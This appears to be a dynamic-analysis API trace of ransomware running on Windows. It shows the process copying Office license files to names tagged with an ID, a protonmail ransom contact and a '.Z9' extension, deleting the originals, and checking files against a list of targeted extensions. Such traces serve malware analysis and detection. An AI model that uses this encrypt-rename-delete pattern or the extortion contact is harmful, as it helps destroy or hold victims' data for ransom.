	[0179.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0179.073] GetLastError () returned 0x0
	[0179.073] ReadFile (in: hFile=0x538, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x564e, lpOverlapped=0x0) returned 1
	[0179.110] WriteFile (in: hFile=0x4bc, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x5650, lpOverlapped=0x0) returned 1
	[0179.282] ReadFile (in: hFile=0x538, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.282] WriteFile (in: hFile=0x4bc, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x118, lpOverlapped=0x0) returned 1
	[0179.282] SetEndOfFile (hFile=0x4bc) returned 1
	[0179.415] CloseHandle (hObject=0x4bc) returned 1
	[0179.415] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.415] SetEndOfFile (hFile=0x538) returned 1
	[0179.420] CloseHandle (hObject=0x538) returned 1
	[0179.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 1
	[0179.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0179.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0179.786] lstrlenW (lpString=".doc") returned 4
	[0179.786] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.786] lstrlenW (lpString=".docx") returned 5
	[0179.786] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.786] lstrlenW (lpString=".pdf") returned 4
	[0179.786] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.786] lstrlenW (lpString=".xls") returned 4
	[0179.786] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.786] lstrlenW (lpString=".xlsx") returned 5
	[0179.786] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.786] lstrlenW (lpString=".ppt") returned 4
	[0179.786] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0179.786] lstrlenW (lpString=".zip") returned 4
	[0179.786] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.786] lstrlenW (lpString=".rar") returned 4
	[0179.786] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.786] lstrlenW (lpString=".bz2") returned 4
	[0179.786] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.786] lstrlenW (lpString=".7z") returned 3
	[0179.786] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0179.786] lstrlenW (lpString=".dbf") returned 4
	[0179.786] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0179.786] lstrlenW (lpString=".1cd") returned 4
	[0179.786] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0179.787] lstrlenW (lpString=".jpg") returned 4
	[0179.787] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0179.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0179.787] lstrlenW (lpString=".doc") returned 4
	[0179.787] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.787] lstrlenW (lpString=".docx") returned 5
	[0179.787] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.787] lstrlenW (lpString=".pdf") returned 4
	[0179.787] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.787] lstrlenW (lpString=".xls") returned 4
	[0179.787] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.787] lstrlenW (lpString=".xlsx") returned 5
	[0179.787] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.787] lstrlenW (lpString=".ppt") returned 4
	[0179.787] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0179.787] lstrlenW (lpString=".zip") returned 4
	[0179.787] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.787] lstrlenW (lpString=".rar") returned 4
	[0179.787] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.787] lstrlenW (lpString=".bz2") returned 4
	[0179.787] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.787] lstrlenW (lpString=".7z") returned 3
	[0179.787] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0179.787] lstrlenW (lpString=".dbf") returned 4
	[0179.787] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0179.788] lstrlenW (lpString=".1cd") returned 4
	[0179.788] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84
	[0179.788] lstrlenW (lpString=".jpg") returned 4
	[0179.788] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.788] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0179.788] lstrlenW (lpString="HomeBusinessR_Retail-ul-oob.xrm-ms") returned 34
	[0179.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0179.789] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11609) returned 1
	[0179.789] CloseHandle (hObject=0x388) returned 1
	[0179.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 0x220
	[0179.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0179.790] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.790] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0179.791] GetLastError () returned 0x0
	[0179.791] ReadFile (in: hFile=0x388, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2d59, lpOverlapped=0x0) returned 1
	[0179.794] WriteFile (in: hFile=0x540, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0179.796] ReadFile (in: hFile=0x388, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.796] WriteFile (in: hFile=0x540, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x118, lpOverlapped=0x0) returned 1
	[0179.796] SetEndOfFile (hFile=0x540) returned 1
	[0179.796] CloseHandle (hObject=0x540) returned 1
	[0179.796] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.796] SetEndOfFile (hFile=0x388) returned 1
	[0179.800] CloseHandle (hObject=0x388) returned 1
	[0179.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 1
	[0179.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0179.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0179.801] lstrlenW (lpString=".doc") returned 4
	[0179.801] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.801] lstrlenW (lpString=".docx") returned 5
	[0179.801] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.802] lstrlenW (lpString=".pdf") returned 4
	[0179.802] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.802] lstrlenW (lpString=".xls") returned 4
	[0179.802] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.802] lstrlenW (lpString=".xlsx") returned 5
	[0179.802] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.802] lstrlenW (lpString=".ppt") returned 4
	[0179.802] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0179.802] lstrlenW (lpString=".zip") returned 4
	[0179.802] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.802] lstrlenW (lpString=".rar") returned 4
	[0179.802] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.802] lstrlenW (lpString=".bz2") returned 4
	[0179.802] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.802] lstrlenW (lpString=".7z") returned 3
	[0179.802] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0179.802] lstrlenW (lpString=".dbf") returned 4
	[0179.802] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0179.802] lstrlenW (lpString=".1cd") returned 4
	[0179.802] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0179.802] lstrlenW (lpString=".jpg") returned 4
	[0179.802] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0179.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0179.802] lstrlenW (lpString=".doc") returned 4
	[0179.802] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.802] lstrlenW (lpString=".docx") returned 5
	[0179.803] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.803] lstrlenW (lpString=".pdf") returned 4
	[0179.803] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.803] lstrlenW (lpString=".xls") returned 4
	[0179.803] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.803] lstrlenW (lpString=".xlsx") returned 5
	[0179.803] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.803] lstrlenW (lpString=".ppt") returned 4
	[0179.803] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0179.803] lstrlenW (lpString=".zip") returned 4
	[0179.803] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.803] lstrlenW (lpString=".rar") returned 4
	[0179.803] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.803] lstrlenW (lpString=".bz2") returned 4
	[0179.803] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.803] lstrlenW (lpString=".7z") returned 3
	[0179.803] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0179.803] lstrlenW (lpString=".dbf") returned 4
	[0179.803] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0179.803] lstrlenW (lpString=".1cd") returned 4
	[0179.803] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84
	[0179.803] lstrlenW (lpString=".jpg") returned 4
	[0179.803] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.803] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0179.803] lstrlenW (lpString="HomeBusinessR_Retail-ul-phn.xrm-ms") returned 34
	[0179.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0179.804] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=19954) returned 1
	[0179.805] CloseHandle (hObject=0x388) returned 1
	[0179.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 0x220
	[0179.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0179.805] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.806] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0179.806] GetLastError () returned 0x0
	[0179.806] ReadFile (in: hFile=0x388, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x4df2, lpOverlapped=0x0) returned 1
	[0179.809] WriteFile (in: hFile=0x540, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0179.811] ReadFile (in: hFile=0x388, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.811] WriteFile (in: hFile=0x540, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x118, lpOverlapped=0x0) returned 1
	[0179.812] SetEndOfFile (hFile=0x540) returned 1
	[0179.812] CloseHandle (hObject=0x540) returned 1
	[0179.812] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.812] SetEndOfFile (hFile=0x388) returned 1
	[0179.815] CloseHandle (hObject=0x388) returned 1
	[0179.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 1
	[0179.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0179.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0179.817] lstrlenW (lpString=".doc") returned 4
	[0179.817] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.817] lstrlenW (lpString=".docx") returned 5
	[0179.817] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.817] lstrlenW (lpString=".pdf") returned 4
	[0179.817] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.817] lstrlenW (lpString=".xls") returned 4
	[0179.817] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.817] lstrlenW (lpString=".xlsx") returned 5
	[0179.817] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.817] lstrlenW (lpString=".ppt") returned 4
	[0179.817] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0179.817] lstrlenW (lpString=".zip") returned 4
	[0179.817] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.817] lstrlenW (lpString=".rar") returned 4
	[0179.817] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.817] lstrlenW (lpString=".bz2") returned 4
	[0179.817] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.817] lstrlenW (lpString=".7z") returned 3
	[0179.817] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0179.817] lstrlenW (lpString=".dbf") returned 4
	[0179.817] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0179.817] lstrlenW (lpString=".1cd") returned 4
	[0179.817] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0179.818] lstrlenW (lpString=".jpg") returned 4
	[0179.818] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0179.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0179.818] lstrlenW (lpString=".doc") returned 4
	[0179.818] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.818] lstrlenW (lpString=".docx") returned 5
	[0179.818] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.818] lstrlenW (lpString=".pdf") returned 4
	[0179.818] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.818] lstrlenW (lpString=".xls") returned 4
	[0179.818] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.818] lstrlenW (lpString=".xlsx") returned 5
	[0179.818] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.818] lstrlenW (lpString=".ppt") returned 4
	[0179.818] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0179.818] lstrlenW (lpString=".zip") returned 4
	[0179.818] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.818] lstrlenW (lpString=".rar") returned 4
	[0179.818] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.818] lstrlenW (lpString=".bz2") returned 4
	[0179.818] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.818] lstrlenW (lpString=".7z") returned 3
	[0179.818] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0179.818] lstrlenW (lpString=".dbf") returned 4
	[0179.818] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0179.818] lstrlenW (lpString=".1cd") returned 4
	[0179.818] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84
	[0179.819] lstrlenW (lpString=".jpg") returned 4
	[0179.819] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.819] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0179.819] lstrlenW (lpString="HomeBusinessR_Retail2-pl.xrm-ms") returned 31
	[0179.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0179.820] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=10659) returned 1
	[0179.820] CloseHandle (hObject=0x388) returned 1
